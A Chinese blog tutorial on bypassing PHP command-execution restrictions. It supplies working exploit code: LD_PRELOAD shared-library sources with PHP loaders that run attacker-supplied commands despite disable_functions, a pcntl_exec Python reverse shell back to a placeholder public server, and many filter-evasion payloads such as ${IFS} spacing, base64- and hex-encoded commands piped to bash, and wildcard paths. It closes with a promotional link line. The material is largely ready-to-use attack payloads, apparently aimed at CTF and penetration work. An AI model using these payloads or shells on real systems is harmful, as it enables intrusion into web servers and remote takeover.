x00 前言
我偷偷总结了一下命令执行绕过方法,不小心被同事看到了,然后他就给“借”走了。。
这里简单归纳总结一下:
0x01 常见的命令执行函数
因为之前已经详细总结过,这里只总结一些常见的:
system() #输出并返回最后一行shell结果。
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
反引号 #实际上是使用shell_exec()函数
复制代码
0x02 常见命令分隔符、终止符和截断符号
在命令执行漏洞的考察中,主要用到了命令分隔符
:
1、命令分隔符
windows: && || & |
linux: && || & | ;
#分号;在shell中担任连续指令的功能
#下面的需php环境
%0a 换行符
%0d 回车符
复制代码
2、命令终止符
3、截断符号
$
;
|
&
-
(
)
{
}
反引号
||
&&
%0a #有时可当空格使用
复制代码
0x03 命令执行绕过
一般情况下,遇到的命令执行绕过我简单总结成以下主要的四种情况:
1.disable_function
2.过滤字符
3.命令盲注
4.无回显的命令执行
复制代码
1、disable_function
在php.ini
文件里,使用 disable_function 选项,可以禁用一些 PHP 危险函数。
通过查看 phpinfo 信息,可以浏览器上看到disable_function
禁用的函数。
当我们发现一个可以代码执行的地方,传入命令执行函数去执行系统命令,发现并不能成功,原因就是在 php.ini 文件里使用 disable_function 选项禁用了命令执行有关的危险函数。如对 disable_function 进行如下配置:
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
复制代码
查阅大师傅的博客,发现绕过 disable_function 有以下两种最常用的方法:
1.ld_preload2.php_gc
1.ld_preload
利用场景:实现了代码执行,未实现命令执行,且没有禁用mail
函数利用条件:(1)没有禁用mail
函数。(2)站点根目录具有写文件权限或其他目录具有写文件权限,并且可以在 url 上跳转到其他目录访问上传的 php 文件或其他目录具有写文件权限,利用代码执行实现本地文件包含,包含最后要访问的 php 文件相关知识:LD_PRELOAD 劫持系统函数
LD_PRELOAD 是 linux 系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
php 中的 mail、error_log 函数是通过调用系统中的 sendmail 命令实现的(其他类似 php 中的函数还有 imap_mail、mb_send_mail 参考),sendmail 二进制文件中使用了 getuid 库函数,这样我们可以覆盖 getuid 函数。
利用过程 1:于是可以通过利用环境变量LD_PRELOAD
劫持系统函数,让外部程序加载恶意的.so 文件,达到执行系统命令的效果。具体步骤如下:(1)编写一个 c 文件,实现我们自己的动态链接程序hack1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
}
复制代码
通过设置preload
可以劫持比较底层的函数。这里劫持了geteuid
函数(2)将带有系统命令的 c 文件hack1.c
编译成为一个动态共享库,生成.so 文件hack1.so
gcc -c -fPIC hack1.c -o hack1
gcc --share hack1 -o hack1.so
复制代码
(3)通过putenv
设置LD_PRELOAD
,让hack1.so
优先被调用。并通过 mail 函数发送一封邮件来触发。qwzf1.php
<?php
putenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/
mail('','','',''); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数,实现覆盖geteuid函数。
?>
复制代码
(4)如果站点根目录有文件写入权限,直接利用代码执行(或蚁剑上传)在站点根目录传入hack1.so
和qwzf1.php
文件。访问 php 文件,就会运行刚才 c 文件里写的ls
命令,最后就可以在/tmp/smity
文件中看到ls
的结果了。然而,使用蚁剑上传hack1.so
和qwzf1.php
文件,发现站点根目录并没有文件写入权限。同时发现/tmp/
目录具有文件写入权限。于是我考虑使用蚁剑上传hack1.so
和qwzf1.php
文件到/tmp/
目录下,然后利用代码执行实现文件包含漏洞包含qwzf1.php
文件,实现访问 php 文件的效果:
?code=include('/tmp/qwzf1.php');
复制代码
查看/tmp/smity
上面实现了劫持函数绕过 disable_function。
利用过程 2:但如果需要执行多条命令,一步一步的操作似乎有点麻烦,有什么好方法可以只需编译一次 c 文件,连续执行任意命令呢?查阅大师傅博客发现:可以通过设置 EVIL_CMDLINE 环境变量的方式实现。大致步骤和上面的差不多,只不过 c 文件和 php 文件的文件内容变了(1)hack2.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid()
{
const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE
if(getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD"); //删除系统变量
system(cmdline);
}
复制代码
(2)将 c 文件编译成动态链接库:
gcc -shared -fPIC hack2.c -o hack2.so
(3)qwzf2.php
<?php
$cmd = $_REQUEST["cmd"]; //要执行的系统命令
$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件
$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出
echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令
putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令,配置成系统环境变量EVIL_CMDLINE
$so_path = $_REQUEST["sopath"]; //传入.so文件
putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOAD
mail("", "", "", ""); //mail函数调用系统中的sendmail命令,sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数,实现覆盖getuid函数。
echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));
//nl2br()函数在字符串中的每个新行(\n)之前插入HTML换行符
//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串
?>
复制代码
(4)将 hack2.so 文件和 qwzf2.php 文件,通过代码执行写入(或使用蚁剑直接上传)具有写入权限的目录。然后在浏览器上测试:
http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');
post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so
复制代码
测试成功!
利用过程 3:有没有一种方法可以不劫持函数绕过 disable_function 呢?查阅大师傅博客发现了不劫持函数绕过 disable_function 的方法:
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。
只需要找到 php 环境中存在执行系统命令的函数、且 putenv 函数未被禁用的情况下,就可以绕过 disable_function。(1)hack3.c
#include <unistd.h>
void payload(void){
system("ls /var/www/html > /tmp/smity");
}
__attribute__ ((__constructor__)) void exec(void){
if (getenv("LD_PRELOAD") == NULL){ return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}
(2)将c文件编译成动态链接库:
gcc -shared -fPIC hack3.c -o hack3.so
(3)qwzf3.php
<?php
putenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*/
//putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/
mail('','','','');
?>
复制代码
(4)将 hack3.so 和 qwzf3.php 写入到具有文件写入权限的目录下,利用代码执行实现文件包含访问
?code=include('/tmp/qwzf3.php');查看/tmp/smity 文件,得到命令执行结果
2.php_gc 利用场景:实现了代码执行,未实现命令执行利用条件:php7.0 < 7.3 一般步骤:
利用蚁剑连接 shell 代码执行将下面的脚本写好命令传上去然后访问利用 phpgc 进程 Bypass
3.利用 pcntl_exec 函数
利用场景:实现了代码执行,未实现命令执行,且没有禁用pcntl_exec
函数利用条件:PHP 4 >= 4.2.0, PHP 5 相关知识:
pcntl 是 linux 下的一个扩展,可以支持 php 的多线程操作。(与 python 结合反弹 shell) pcntl_exec 函数的作用是在当前进程空间执行指定程序
一般步骤:
利用蚁剑连接 shell 代码执行
将下面的 php 代码传上去然后访问
在公网服务器监听端口,实现反弹 shell
利用代码:
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
复制代码
监听利用代码中填写的端口
不想再重新搭建环境,所以这个地方没进行复现。。。
2、绕过过滤字符
1.空格绕过
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #用逗号,实现了空格功能
%20
%09
复制代码
1.${IFS}
这算是 Linux 中的一个变量
Linux 下有一个特殊的环境变量叫做 IFS,叫做内部字段分隔符(internal field separator)。IFS 环境变量定义了 bash shell 用户字段分隔符的一系列字符。默认情况下,bash shell 会将下面的字符当做字段分隔符:空格、制表符、换行符。
花括号的别样用法:在 Linux bash 中可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令,如{mv,文件1,文件2}
2.黑名单绕过
假设黑名单里有flag
(1)拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
复制代码
(2)编码绕过
#1.base64编码:cat flag.php -> Y2F0IGZsYWcucGhw
`echo "Y2F0IGZsYWcucGhw"|base64 -d`
$(echo "Y2F0IGZsYWcucGhw"|base64 -d)
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码:cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件
#-r参数:逆向转换。将16进制字符串表示转为实际的数
#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。
#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码:cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70
#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash
`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`
复制代码
(3)利用已存在资源
如:从已有的文件或者环境变量中获得相应的字符
(4)单引号、双引号绕过
cat fl''ag.php
cat fl""ag.php
c''at fl''ag.php
c""at fl""ag.php
复制代码
(5)反斜杠绕过 cat fl\ag.phpc\at fl\ag.php
(6)利用 shell 特殊变量绕过 #特殊变量有:1到9、@和*等
cat fl1ag.phpcatfl@ag.php
3.文件读取绕过
文件读取,最常用的就是cat
命令。如果cat
被过滤,可以使用下面命令替代:
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
复制代码
more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php
复制代码
上边的命令执行后,都可以在输出结果中看到 flag。而 od 命令可通过添加-c
选项输出字符串内容:
od命令
4.通配符绕过
参考:命令执行绕过之 Linux 通配符
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。
复制代码
5.内敛执行绕过内敛,就是将命令
或 $(命令)内命令的输出作为输入执行 cat ls
cat $(ls)
最后,希望此文对你有所帮助,我是一名网络安全工作者,在工作学习的同时,整理搜集了一些资料,下面只展示一部分,需要全部内容的【点我查看】获取
评论